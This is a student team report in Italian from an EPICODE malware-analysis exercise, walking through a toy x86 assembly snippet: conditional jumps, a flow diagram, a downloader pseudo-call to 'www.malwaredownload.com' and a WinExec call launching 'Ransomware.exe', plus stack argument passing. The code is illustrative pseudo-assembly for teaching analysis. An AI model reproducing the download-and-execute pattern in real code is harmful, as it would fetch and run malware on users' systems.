Aprile 2024

InfiniTech
S.p.A.

S11L5
MALWARE ANALYSIS
EPICODE

TEAM LEADER:
Francesco Perticaroli

TEAM MEMBERS:
Manuel Buonanno
Bruno Falconi
Flaviano Sedici
Jacopo Trovato

Indice

EPICODE

Traccia

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

1. Spiegate, motivando, quale salto condizionale effettua il Malware.
2. Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.
3. Quali sono le diverse funzionalità implementate all'interno del Malware?
4. Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione . Aggiungere eventuali dettagli tecnici/teorici.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Salto Condizionale

Un salto condizionale è un'istruzione che consente ad un programma di passare da una parte del codice ad un'altra in base a determinate condizioni. In sostanza, il programma esegue un salto da un punto all'altro del codice solo se si verifica una certa condizione, altrimenti continua con l'esecuzione sequenziale. Questa tecnica è fondamentale per il controllo del flusso di un programma, in quanto consente di prendere decisioni in base ai dati in input o allo stato interno del programma stesso.
Nel caso di questo Malware[1] i salti condizionali sono due, ma il primo non avviene perché il valore è 0 ed il salto non viene effettuato.

- **0040105B jnz loc0040BBA0**: Questa istruzione effettua un salto condizionale alla locazione[2] loc0040BBA0 se il confronto precedente ha dato esito diverso da zero. In altre parole, se il valore nel registro EAX è diverso da 5, il salto viene effettuato.
- **00401068 jz loc0040FFA0**: Questa istruzione effettua un salto condizionale alla locazione loc0040FFA0 se il confronto precedente ha dato esito zero. In altre parole, se il valore nel registro EBX è uguale a 11, il salto viene effettuato.

```
0040105B        jnz             loc 0040BBA0        ; tabella 2
```

Salto jnz sulla tabella 1

```
00401068        jz              loc 0040FFA0        ; tabella 3
```

Salto jz sulla tabella 1

Diagramma di flusso

Il salto condizionale che viene effettutato è evidenziato con il colore verde, mentre con il colore rosso è evidenziato il salto che non è stato effettuato.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Funzionalità

Le funzionalità sono azioni che il software dannoso è in grado di eseguire sul dispositivo infetto o sul sistema target. Queste funzionalità possono variare ampiamente a seconda del tipo di malware e degli obiettivi degli attaccanti.
Il malware in questione presenta due funzionalità incorporate, di cui una rimane inutilizzata.

- **1° funzionalità**: consiste in un downloader[3], il quale potenzialmente stabilisce una connessione a un URL maligno tramite l'istruzione "push EAX ; URL" e scarica un file mediante una chiamata di funzione simile a "call DownloadToFile()". Tuttavia, questa funzionalità non viene impiegata nell'attacco.
- **2° funzionalità**: risulta attivamente utilizzata, è quella di ransomware[4]. Questa parte del malware avvia l'esecuzione di un file situato nel percorso "C:\Program and Settings\Local User\Desktop\Ransomware.exe".

0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Prima funzionalità, tabella 2

0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop \Ransomware.exe

Seconda funzionalità, tabella 3

Funzioni call

Le funzioni call, “funzioni chiamata”, sono subroutine[5] o blocchi di codice all'interno del malware che vengono utilizzati per richiamare altre funzioni o moduli di codice. Nel caso di questo Malware le funzioni call sono:

- **DownloadToFile()**: Questa sembra essere una funzione personalizzata presumibilmente implementata in un linguaggio di programmazione di livello superiore e chiamata all'interno del programma assembly. Tuttavia, dato il nome della funzione, si può ipotizzare che il suo scopo sia quello di scaricare un file da un URL specificato e salvarlo in un file all’interno del filesystem.
- **WinExec()**: Questa funzione è una API[6] di Windows utilizzata per eseguire un un file .exe con il percorso specificato nel registro EDX. Il risultato dell'operazione di WinExec() non è trattato nel codice fornito.

0040BBA8	call	DownloadToFile ()	; pseudo funzione

Prima funzione call, tabella 2

0040FFA8	call	WinExec()	; pseudo funzione

Seconda funzione call, tabella 3

Istruzioni	Funzionamento
mov EAX, 5	sposta il valore 5 nel registro EAX
mov EBX, 10	sposta il valore 10 nel registro EBX
cmp EAX, 5	effettua la comparazione tra EAX e 5, ovvero 5 - 5 = 0, ZF[7] = 1
jnz loc 0040BBA0	effettua il salto alla locazione se lo ZF = 0
inc EBX	incrementa il valore di EBX di 1, portandolo a 11
cmp EBX, 11	effettua la comparazione tra EBX e 11, ovvero 11 - 11 = 0, ZF = 1
jz loc 0040FFA0	effettua il salto alla locazione se lo ZF = 1
mov EAX, EDI = www...com	sposta il valore EDI contenente l'URL di un sito, nel registro EAX
push EAX	effettua il push di EAX sullo stack[8] per passare un argomento alla funzione
call DownloadToFile()	chiama ed esegue la funzione DownloadToFile()
mov EDX, EDI = C:\...\ransomware.exe	sposta il valore EDI contenente l'indirizzo del ransomware sul system file, nel registro EDX
push EDX	effettua il push di EDX sullo stack per passare un argomento alla funzione
call WinExec()	chiama ed esegue la funzione WinExec()

Glossario

1. Malware: termine generico che si riferisce a software dannoso progettato per danneggiare, infettare o compromettere un computer, un dispositivo o una rete.
2. Locazione: area specifica della memoria del computer dove sono memorizzati dati o istruzioni. Le locazioni di memoria possono contenere vari tipi di informazioni, tra cui valori numerici, istruzioni di programma, indirizzi di memoria e altro ancora.
3. Downloader: tipo di malware progettato per scaricare e installare ulteriori componenti dannosi sul dispositivo della vittima.
4. Ransomware: tipo di malware progettato per crittografare i file sul dispositivo della vittima e quindi richiedere un pagamento, di solito in criptovaluta, in cambio della chiave di decrittazione necessaria per ripristinare l'accesso ai file crittografati. Il termine "ransomware" deriva dalla combinazione delle parole "ransom" (riscatto) e "software".
5. Subroutine: nota come procedura o sottoprogramma, è un blocco di codice autonomo che svolge un'operazione specifica all'interno di un programma.
6. API: “Application Programming Interface”, insieme di definizioni, protocolli e strumenti che permettono a diversi software di comunicare tra di loro. In pratica, un API specifica come i componenti di software dovrebbero interagire.
7. ZF: “Zero Flag” è un flag del processore che viene impostato quando il risultato di un'istruzione aritmetica o logica è uguale a zero.
8. Stack: struttura dati utilizzata nei calcoli informatici per gestire la sequenza delle operazioni in un programma. È comunemente utilizzato per l'esecuzione di chiamate di funzione e la gestione delle variabili locali durante l'esecuzione di programmi.

Aprile 2024

InfiniTech
S.p.A.

REPORT
S11L5

GRAZIE PER L'ATTENZIONE

TEAM LEADER:
Francesco Perticaroli

TEAM MEMBERS:
Manuel Buonanno
Bruno Falconi
Flaviano Sedici
Jacopo Trovato